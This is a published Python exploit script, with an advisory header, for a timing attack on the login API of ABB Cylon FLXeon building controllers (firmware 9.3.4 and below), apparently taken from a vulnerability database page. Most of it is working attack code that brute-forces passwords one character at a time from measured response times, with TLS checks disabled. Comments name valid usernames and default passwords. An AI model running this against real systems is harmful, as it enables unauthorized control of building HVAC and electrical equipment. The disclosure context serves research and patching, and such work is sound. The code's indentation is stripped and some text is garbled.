#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnetยฎ Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnetยฎ IP and BACnet MS/TP field controllers for ASPECTยฎ and INTEGRAโข
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: A timing attack vulnerability exists in ABB Cylon FLXeon's authentication process
# due to improper comparison of password hashes in login.js and uukl.js. Specifically,
# the verifyPassword() function in login.js and the verify() function in uukl.js both
# calculate the password hash and compare it to the stored hash. In these implementations,
# small differences in response times are introduced based on how much of the password
# or the username matches the stored hash, making the system vulnerable to timing-based
# analysis.
#
# In the verifyPassword() function in login.js, the comparison is performed using (passwordHash !== hash),
# which can reveal subtle timing discrepancies depending on the number of matching characters
# between the calculated and stored hashes. Similarly, in uukl.js, the verify() function
# compares the calculated hash (const hash = md5sum.digest('hex');) to the saved hash
# using if (hash == savedHash). The time taken for these comparisons can vary based on the
# number of correct characters in the password, allowing an attacker to infer portions of
# the password by measuring response times.
#
# These vulnerabilities can be exploited by attackers to enumerate valid usernames and
# incrementally discover passwords. By analyzing the differences in response times, attackers
# can determine which characters of the password are correct. This can lead to information
# leakage, user enumeration, and password cracking. The timing differences between correct
# and incorrect passwords, combined with the use of simple conditional checks for hash
# comparisons, provide an opportunity for attackers to deduce valid portions of the password.
# This makes it easier for attackers to identify the correct password, especially when
# attempting to reset or change it.
#
# Network latency can introduce additional mismeasurement, affecting the accuracy of timing
# differences and potentially leading to false conclusions during the attack.
#
# Fix:
# Version: 9.3.5
# Introduced: crypto.timingSafeEqual() to apply constant-time comparison.
#
# -----------------------------------------------------
#
# $ ./ntime.py 7.3.3.1 --verbose # not a valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 337 ms
# [1] Tried: changemea | Avg Response: 344 ms
# [2] Tried: changemeb | Avg Response: 333 ms
# [3] Tried: changemec | Avg Response: 333 ms
# [4] Tried: changemed | Avg Response: 344 ms
# [5] Tried: changemee | Avg Response: 328 ms
# [6] Tried: changemef | Avg Response: 333 ms
# [7] Tried: changemeg | Avg Response: 339 ms
# [8] Tried: changemeh | Avg Response: 333 ms
# [9] Tried: changemei | Avg Response: 333 ms
# [10] Tried: changemej | Avg Response: 322 ms
# ^C
# $ ./ntime.py 7.3.3.1 --verbose # valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 599 ms
# [1] Tried: changemea | Avg Response: 672 ms
# [2] Tried: changemeb | Avg Response: 617 ms
# [3] Tried: changemec | Avg Response: 611 ms
# [4] Tried: changemed | Avg Response: 600 ms
# [5] Tried: changemee | Avg Response: 594 ms
# [6] Tried: changemef | Avg Response: 617 ms
# [7] Tried: changemeg | Avg Response: 600 ms
# [8] Tried: changemeh | Avg Response: 605 ms
# [9] Tried: changemei | Avg Response: 605 ms
# [10] Tried: changemej | Avg Response: 605 ms
#
# -----------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5925
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5925.php
# CWE ID: CWE-208 (Observable Timing Discrepancy)
# CWE URL: https://cwe.mitre.org/data/definitions/208.html
#
#
# 21.04.2024
#
#
from datetime import datetime
from statistics import mean
import threading
import requests
import string
import time
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proj = r"""
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ
ABB Cylon FLXeon Series <=9.3.4
NodeJS Timing Attack
ZSL-2025-5925
"""
print(proj)
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <IP> [--verbose]")
sys.exit(1)
ip = sys.argv[1]
url = f"https://{ip}/api/login"
username = "rooot" # valid users: root, admin, cxpro
password = "changeme" # default pwds: cylonctl, siteguide
charset = string.ascii_lowercase + string.digits
verbose = "--verbose" in sys.argv
SAMPLES = 3 # number of samples for timing accuracy
BASELINE_SAMPLES = 5 # baseline measurement attempts
request_counter = 0
request_counter_lock = threading.Lock()
def ftime(seconds):
if seconds < 1:
return f"{seconds * 1000:.0f} ms"
else:
return f"{seconds:.2f} s"
def chkpwd():
global password
data = {"username": username, "password": password}
try:
response = requests.post(url, json=data, verify=False)
if response.status_code == 200:
print(f"[+] Password found instantly: {password}")
return True
elif verbose:
print(f"[DEBUG] Initial check failed (HTTP {response.status_code})")
except Exception as e:
print(f"[ERROR] Request failed: {e}")
return False
def measure(full_password):
timings = []
for _ in range(SAMPLES):
start = time.time()
try:
headers = {'Connection': 'close'}
response = requests.post(url, json={"username": username, "password": full_password},
verify=False, headers=headers)
response.text
except Exception as e:
return None
elapsed = time.time() - start
timings.append(elapsed)
return mean(timings)
def brutus():
global password
if chkpwd():
return
baseline_times = []
for _ in range(BASELINE_SAMPLES):
time = measure("wrong_password")
if time:
baseline_times.append(time)
baseline = mean(baseline_times) if baseline_times else 0
print(f"[DEBUG] Baseline time: {ftime(baseline)}")
for position in range(len(password), 17): # pwd length
best_char = None
best_time = baseline
for char in charset:
candidate = password + char
avg_time = measure(candidate)
if not avg_time:
continue
if verbose:
with request_counter_lock:
global request_counter
request_counter += 1
print(f"[{request_counter}] Tried: {candidate} | Avg Response: {ftime(avg_time)}")
if avg_time > best_time * 1.2: # 20% threshold
best_char = char
best_time = avg_time
if best_char:
password += best_char
print(f"[+] Progress: {password}")
data = {"username": username, "password": password}
response = requests.post(url, json=data, verify=False)
if response.status_code == 200:
print(f"[+] Password Found: {password}")
return
else:
print("[ERROR] No significant timing difference detected.")
break
if __name__ == "__main__":
start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[+] Le script started at {start_time}")
brutus()Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation